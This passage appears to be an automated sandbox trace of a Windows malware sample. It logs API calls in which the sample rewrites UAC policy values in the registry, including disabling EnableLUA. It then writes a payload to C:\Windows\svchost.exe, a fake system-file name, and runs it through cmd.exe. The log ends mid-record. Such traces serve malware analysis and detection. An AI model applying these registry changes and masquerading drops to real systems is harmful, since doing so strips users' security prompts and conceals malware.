# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 22.03.2020 13:54:28.469 Process: id = "1" image_name = "ausmwsjhplkbv4ai.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ausmwsjhplkbv4ai.exe" page_root = "0x4bc75000" os_pid = "0xb5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aUsMWsjhpLkBV4ai.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb50 [0039.835] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0041.062] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0041.063] WriteFile (in: hFile=0x7, lpBuffer=0x18e930*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x18e938, lpOverlapped=0x0 | out: lpBuffer=0x18e930*, lpNumberOfBytesWritten=0x18e938*=0x0, lpOverlapped=0x0) returned 1 [0041.064] GetConsoleOutputCP () returned 0x1b5 [0041.182] GetFileType (hFile=0x7) returned 0x2 [0041.189] WriteFile (in: hFile=0x7, lpBuffer=0x24c7368*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x18e8b0, lpOverlapped=0x0 | out: lpBuffer=0x24c7368*, lpNumberOfBytesWritten=0x18e8b0*=0x22, lpOverlapped=0x0) returned 1 [0041.539] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e998 | out: phkResult=0x18e998*=0x1c8) returned 0x0 [0041.550] RegQueryValueExW (in: hKey=0x1c8, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.560] RegSetValueExW (in: hKey=0x1c8, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x5, cbData=0x4 | out: lpData=0x18ea18*=0x5) returned 0x0 [0041.560] RegQueryValueExW (in: hKey=0x1c8, lpValueName="ConsentPromptBehaviorUser", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.560] RegSetValueExW (in: hKey=0x1c8, lpValueName="ConsentPromptBehaviorUser", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x3, cbData=0x4 | out: lpData=0x18ea18*=0x3) returned 0x0 [0041.561] RegQueryValueExW (in: hKey=0x1c8, lpValueName="dontdisplaylastusername", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.561] RegSetValueExW (in: hKey=0x1c8, lpValueName="dontdisplaylastusername", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x0, cbData=0x4 | out: lpData=0x18ea18*=0x0) returned 0x0 [0041.561] RegQueryValueExW (in: hKey=0x1c8, lpValueName="EnableInstallerDetection", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.561] RegSetValueExW (in: hKey=0x1c8, lpValueName="EnableInstallerDetection", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x1, cbData=0x4 | out: lpData=0x18ea18*=0x1) returned 0x0 [0041.561] RegQueryValueExW (in: hKey=0x1c8, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.561] RegSetValueExW (in: hKey=0x1c8, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x0, cbData=0x4 | out: lpData=0x18ea18*=0x0) returned 0x0 [0041.562] RegQueryValueExW (in: hKey=0x1c8, lpValueName="EnableSecureUIAPaths", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.562] RegSetValueExW (in: hKey=0x1c8, lpValueName="EnableSecureUIAPaths", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x1, cbData=0x4 | out: lpData=0x18ea18*=0x1) returned 0x0 [0041.562] RegQueryValueExW (in: hKey=0x1c8, lpValueName="EnableUIADesktopToggle", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.563] RegSetValueExW (in: hKey=0x1c8, lpValueName="EnableUIADesktopToggle", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x5, cbData=0x4 | out: lpData=0x18ea18*=0x5) returned 0x0 [0041.563] RegQueryValueExW (in: hKey=0x1c8, lpValueName="EnableVirtualization", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.563] RegSetValueExW (in: hKey=0x1c8, lpValueName="EnableVirtualization", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x1, cbData=0x4 | out: lpData=0x18ea18*=0x1) returned 0x0 [0041.563] RegQueryValueExW (in: hKey=0x1c8, lpValueName="FilterAdministratorToken", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.563] RegSetValueExW (in: hKey=0x1c8, lpValueName="FilterAdministratorToken", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x0, cbData=0x4 | out: lpData=0x18ea18*=0x0) returned 0x0 [0041.563] RegQueryValueExW (in: hKey=0x1c8, lpValueName="legalnoticecaption", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x1, lpData=0x0, lpcbData=0x18e9b0*=0x2) returned 0x0 [0041.564] RegSetValueExW (in: hKey=0x1c8, lpValueName="legalnoticecaption", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0041.564] RegQueryValueExW (in: hKey=0x1c8, lpValueName="legalnoticetext", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x1, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.564] RegSetValueExW (in: hKey=0x1c8, lpValueName="legalnoticetext", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0041.564] RegQueryValueExW (in: hKey=0x1c8, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.564] RegSetValueExW (in: hKey=0x1c8, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x1, cbData=0x4 | out: lpData=0x18ea18*=0x1) returned 0x0 [0041.564] RegQueryValueExW (in: hKey=0x1c8, lpValueName="scforceoption", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.564] RegSetValueExW (in: hKey=0x1c8, lpValueName="scforceoption", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x0, cbData=0x4 | out: lpData=0x18ea18*=0x0) returned 0x0 [0041.564] RegQueryValueExW (in: hKey=0x1c8, lpValueName="shutdownwithoutlogon", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.565] RegSetValueExW (in: hKey=0x1c8, lpValueName="shutdownwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x1, cbData=0x4 | out: lpData=0x18ea18*=0x1) returned 0x0 [0041.565] RegQueryValueExW (in: hKey=0x1c8, lpValueName="undockwithoutlogon", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.565] RegSetValueExW (in: hKey=0x1c8, lpValueName="undockwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x1, cbData=0x4 | out: lpData=0x18ea18*=0x1) returned 0x0 [0041.565] RegQueryValueExW (in: hKey=0x1c8, lpValueName="ValidateAdminCodeSignatures", lpReserved=0x0, lpType=0x18e9b8, lpData=0x0, lpcbData=0x18e9b0*=0x0 | out: lpType=0x18e9b8*=0x4, lpData=0x0, lpcbData=0x18e9b0*=0x4) returned 0x0 [0041.565] RegSetValueExW (in: hKey=0x1c8, lpValueName="ValidateAdminCodeSignatures", Reserved=0x0, dwType=0x4, lpData=0x18ea18*=0x0, cbData=0x4 | out: lpData=0x18ea18*=0x0) returned 0x0 [0041.566] RegCloseKey (hKey=0x1c8) returned 0x0 [0043.402] CoTaskMemAlloc (cb=0x20c) returned 0xe95ea0 [0043.402] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0xe95ea0 | out: pszPath="C:\\Windows") returned 0x0 [0043.418] CoTaskMemFree (pv=0xe95ea0) [0043.423] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x18e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0043.464] EtwEventRegister (in: ProviderId=0x24c99a0, EnableCallback=0x1afd131c, CallbackContext=0x0, RegHandle=0x24c9980 | out: RegHandle=0x24c9980) returned 0x0 [0043.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aUsMWsjhpLkBV4ai.exe.config", nBufferLength=0x105, lpBuffer=0x18e090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aUsMWsjhpLkBV4ai.exe.config", lpFilePart=0x0) returned 0x41 [0043.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18e550) returned 1 [0043.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aUsMWsjhpLkBV4ai.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ausmwsjhplkbv4ai.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18e630 | out: lpFileInformation=0x18e630*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0043.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18e510) returned 1 [0043.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\svchost.exe", nBufferLength=0x105, lpBuffer=0x18e330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\svchost.exe", lpFilePart=0x0) returned 0x16 [0043.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18e810) returned 1 [0043.878] CreateFileW (lpFileName="C:\\Windows\\svchost.exe" (normalized: "c:\\windows\\svchost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1f8 [0043.880] GetFileType (hFile=0x1f8) returned 0x1 [0043.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18e780) returned 1 [0043.880] GetFileType (hFile=0x1f8) returned 0x1 [0043.880] WriteFile (in: hFile=0x1f8, lpBuffer=0x124c9978*, nNumberOfBytesToWrite=0x106c00, lpNumberOfBytesWritten=0x18e938, lpOverlapped=0x0 | out: lpBuffer=0x124c9978*, lpNumberOfBytesWritten=0x18e938*=0x106c00, lpOverlapped=0x0) returned 1 [0043.912] CloseHandle (hObject=0x1f8) returned 1 [0043.936] SleepEx (dwMilliseconds=0x64, bAlertable=1) returned 0x0 [0044.037] CoTaskMemAlloc (cb=0x20c) returned 0xe95ea0 [0044.037] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0xe95ea0 | out: pszPath="C:\\Windows") returned 0x0 [0044.038] CoTaskMemFree (pv=0xe95ea0) [0044.038] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x18e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0044.376] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0044.377] CreatePipe (in: hReadPipe=0x18e790, hWritePipe=0x18e788, lpPipeAttributes=0x18e680, nSize=0x0 | out: hReadPipe=0x18e790*=0x1f4, hWritePipe=0x18e788*=0x1fc) returned 1 [0044.396] GetCurrentProcess () returned 0xffffffffffffffff [0044.396] GetCurrentProcess () returned 0xffffffffffffffff [0044.396] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x18e7d0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18e7d0*=0x200) returned 1 [0044.396] CloseHandle (hObject=0x1f4) returned 1 [0044.396] CreatePipe (in: hReadPipe=0x18e790, hWritePipe=0x18e788, lpPipeAttributes=0x18e680, nSize=0x0 | out: hReadPipe=0x18e790*=0x1f4, hWritePipe=0x18e788*=0x204) returned 1 [0044.397] GetCurrentProcess () returned 0xffffffffffffffff [0044.397] GetCurrentProcess () returned 0xffffffffffffffff [0044.397] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x18e7d0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18e7d0*=0x208) returned 1 [0044.397] CloseHandle (hObject=0x1f4) returned 1 [0044.399] CoTaskMemAlloc (cb=0x20e) returned 0xe95ea0 [0044.399] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0xe95ea0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0044.399] CoTaskMemFree (pv=0xe95ea0) [0044.402] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"cmd.exe\" /C C:\\Windows\\svchost.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18e640*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x1fc, hStdError=0x204), lpProcessInformation=0x24cdfe0 | out: lpCommandLine="\"cmd.exe\" /C C:\\Windows\\svchost.exe", lpProcessInformation=0x24cdfe0*(hProcess=0x20c, hThread=0x1f4, dwProcessId=0xa88, dwThreadId=0xb48)) returned 1 [0044.425] CloseHandle (hObject=0x1fc) returned 1 [0044.425] CloseHandle (hObject=0x204) returned 1 [0044.893] GetFileType (hFile=0x200) returned 0x3 [0044.904] GetFileType (hFile=0x208) returned 0x3 [0044.904] CloseHandle (hObject=0x1f4) returned 1 [0044.909] GetCurrentProcess () returned 0xffffffffffffffff [0044.909] GetCurrentProcess () returned 0xffffffffffffffff [0044.910] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x20c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x18e8c0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18e8c0*=0x1f4) returned 1 [0146.692] CloseHandle (hObject=0x1f4) returned 1 [0146.694] CoGetContextToken (in: pToken=0x18f7b0 | out: pToken=0x18f7b0) returned 0x0 [0146.694] CObjectContext::QueryInterface () returned 0x0 [0146.694] CObjectContext::GetCurrentThreadType () returned 0x0 [0146.694] Release () returned 0x0 [0146.695] CoGetContextToken (in: pToken=0x18f2c0 | out: pToken=0x18f2c0) returned 0x0 [0146.695] CObjectContext::QueryInterface () returned 0x0 [0146.695] CObjectContext::GetCurrentThreadType () returned 0x0 [0146.695] Release () returned 0x0 [0146.698] CoGetContextToken (in: pToken=0x18f2c0 | out: pToken=0x18f2c0) returned 0x0 [0146.698] CObjectContext::QueryInterface () returned 0x0 [0146.698] CObjectContext::GetCurrentThreadType () returned 0x0 [0146.698] Release () returned 0x0 [0146.702] CoGetContextToken (in: pToken=0x18f2c0 | out: pToken=0x18f2c0) returned 0x0 [0146.702] CObjectContext::QueryInterface () returned 0x0 [0146.702] CObjectContext::GetCurrentThreadType () returned 0x0 [0146.702] Release () returned 0x0 [0146.714] CoGetContextToken (in: pToken=0x18f2d0 | out: pToken=0x18f2d0) returned 0x0 [0146.714] CObjectContext::QueryInterface () returned 0x0 [0146.715] CObjectContext::GetCurrentThreadType () returned 0x0 [0146.715] Release () returned 0x0 [0146.716] CoUninitialize () Thread: id = 2 os_tid = 0xb38 Thread: id = 3 os_tid = 0xb3c [0040.005] CoGetContextToken (in: pToken=0xe8f4e0 | out: pToken=0xe8f4e0) returned 0x0 [0040.005] CObjectContext::QueryInterface () returned 0x0 [0040.005] CObjectContext::GetCurrentThreadType () returned 0x0 [0040.005] Release () returned 0x0 [0040.006] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0146.697] EtwEventUnregister (RegHandle=0x1100010001) returned 0x0 [0146.700] CloseHandle (hObject=0x208) returned 1 [0146.701] CloseHandle (hObject=0x200) returned 1 [0146.704] CloseHandle (hObject=0x20c) returned 1 [0146.706] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0146.707] CloseHandle (hObject=0x1c4) returned 1 [0146.707] UnmapViewOfFile (lpBaseAddress=0x2c0000) returned 1 [0146.714] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 4 os_tid = 0xb34 Thread: id = 128 os_tid = 0xbf0 Thread: id = 129 os_tid = 0xbe4 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4a83d000" os_pid = "0xa88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb5c" cmd_line = "\"cmd.exe\" /C C:\\Windows\\svchost.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xb48 [0045.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fc10 | out: lpSystemTimeAsFileTime=0x12fc10*(dwLowDateTime=0x7d1a5120, dwHighDateTime=0x1d60051)) [0045.019] GetCurrentProcessId () returned 0xa88 [0045.019] GetCurrentThreadId () returned 0xb48 [0045.019] GetTickCount () returned 0x114586d [0045.019] QueryPerformanceCounter (in: lpPerformanceCount=0x12fc18 | out: lpPerformanceCount=0x12fc18*=16482669902) returned 1 [0045.021] GetModuleHandleW (lpModuleName=0x0) returned 0x4ace0000 [0045.021] __set_app_type (_Type=0x1) [0045.021] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ad07810) returned 0x0 [0045.021] __getmainargs (in: _Argc=0x4ad2a608, _Argv=0x4ad2a618, _Env=0x4ad2a610, _DoWildCard=0, _StartInfo=0x4ad0e0f4 | out: _Argc=0x4ad2a608, _Argv=0x4ad2a618, _Env=0x4ad2a610) returned 0 [0045.022] GetCurrentThreadId () returned 0xb48 [0045.022] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb48) returned 0x3c [0045.023] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0045.023] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0045.023] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0045.023] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0045.023] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fba8 | out: phkResult=0x12fba8*=0x0) returned 0x2 [0045.023] VirtualQuery (in: lpAddress=0x12fb90, lpBuffer=0x12fb10, dwLength=0x30 | out: lpBuffer=0x12fb10*(BaseAddress=0x12f000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0045.024] VirtualQuery (in: lpAddress=0x30000, lpBuffer=0x12fb10, dwLength=0x30 | out: lpBuffer=0x12fb10*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0045.024] VirtualQuery (in: lpAddress=0x31000, lpBuffer=0x12fb10, dwLength=0x30 | out: lpBuffer=0x12fb10*(BaseAddress=0x31000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0045.024] VirtualQuery (in: lpAddress=0x34000, lpBuffer=0x12fb10, dwLength=0x30 | out: lpBuffer=0x12fb10*(BaseAddress=0x34000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0045.024] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x12fb10, dwLength=0x30 | out: lpBuffer=0x12fb10*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0045.024] GetConsoleOutputCP () returned 0x1b5 [0045.024] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ad1bfe0 | out: lpCPInfo=0x4ad1bfe0) returned 1 [0045.024] SetConsoleCtrlHandler (HandlerRoutine=0x4ad03184, Add=1) returned 1 [0045.024] _get_osfhandle (_FileHandle=1) returned 0x1fc [0045.024] SetConsoleMode (hConsoleHandle=0x1fc, dwMode=0x0) returned 0 [0045.025] _get_osfhandle (_FileHandle=1) returned 0x1fc [0045.025] GetConsoleMode (in: hConsoleHandle=0x1fc, lpMode=0x4ad0e194 | out: lpMode=0x4ad0e194) returned 0 [0045.025] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.025] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ad0e198 | out: lpMode=0x4ad0e198) returned 1 [0045.025] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.025] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0045.026] GetEnvironmentStringsW () returned 0x358a30* [0045.026] GetProcessHeap () returned 0x340000 [0045.026] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xa7c) returned 0x3594c0 [0045.026] FreeEnvironmentStringsW (penv=0x358a30) returned 1 [0045.026] GetProcessHeap () returned 0x340000 [0045.026] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x8) returned 0x3588b0 [0045.026] GetEnvironmentStringsW () returned 0x358a30* [0045.026] GetProcessHeap () returned 0x340000 [0045.026] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xa7c) returned 0x359f50 [0045.026] FreeEnvironmentStringsW (penv=0x358a30) returned 1 [0045.027] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12ea68 | out: phkResult=0x12ea68*=0x44) returned 0x0 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x0, lpData=0x12ea80*=0x18, lpcbData=0x12ea64*=0x1000) returned 0x2 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x1, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x0, lpData=0x12ea80*=0x1, lpcbData=0x12ea64*=0x1000) returned 0x2 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x0, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x40, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x40, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x0, lpData=0x12ea80*=0x40, lpcbData=0x12ea64*=0x1000) returned 0x2 [0045.027] RegCloseKey (hKey=0x44) returned 0x0 [0045.027] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12ea68 | out: phkResult=0x12ea68*=0x44) returned 0x0 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x0, lpData=0x12ea80*=0x40, lpcbData=0x12ea64*=0x1000) returned 0x2 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x1, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.027] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, 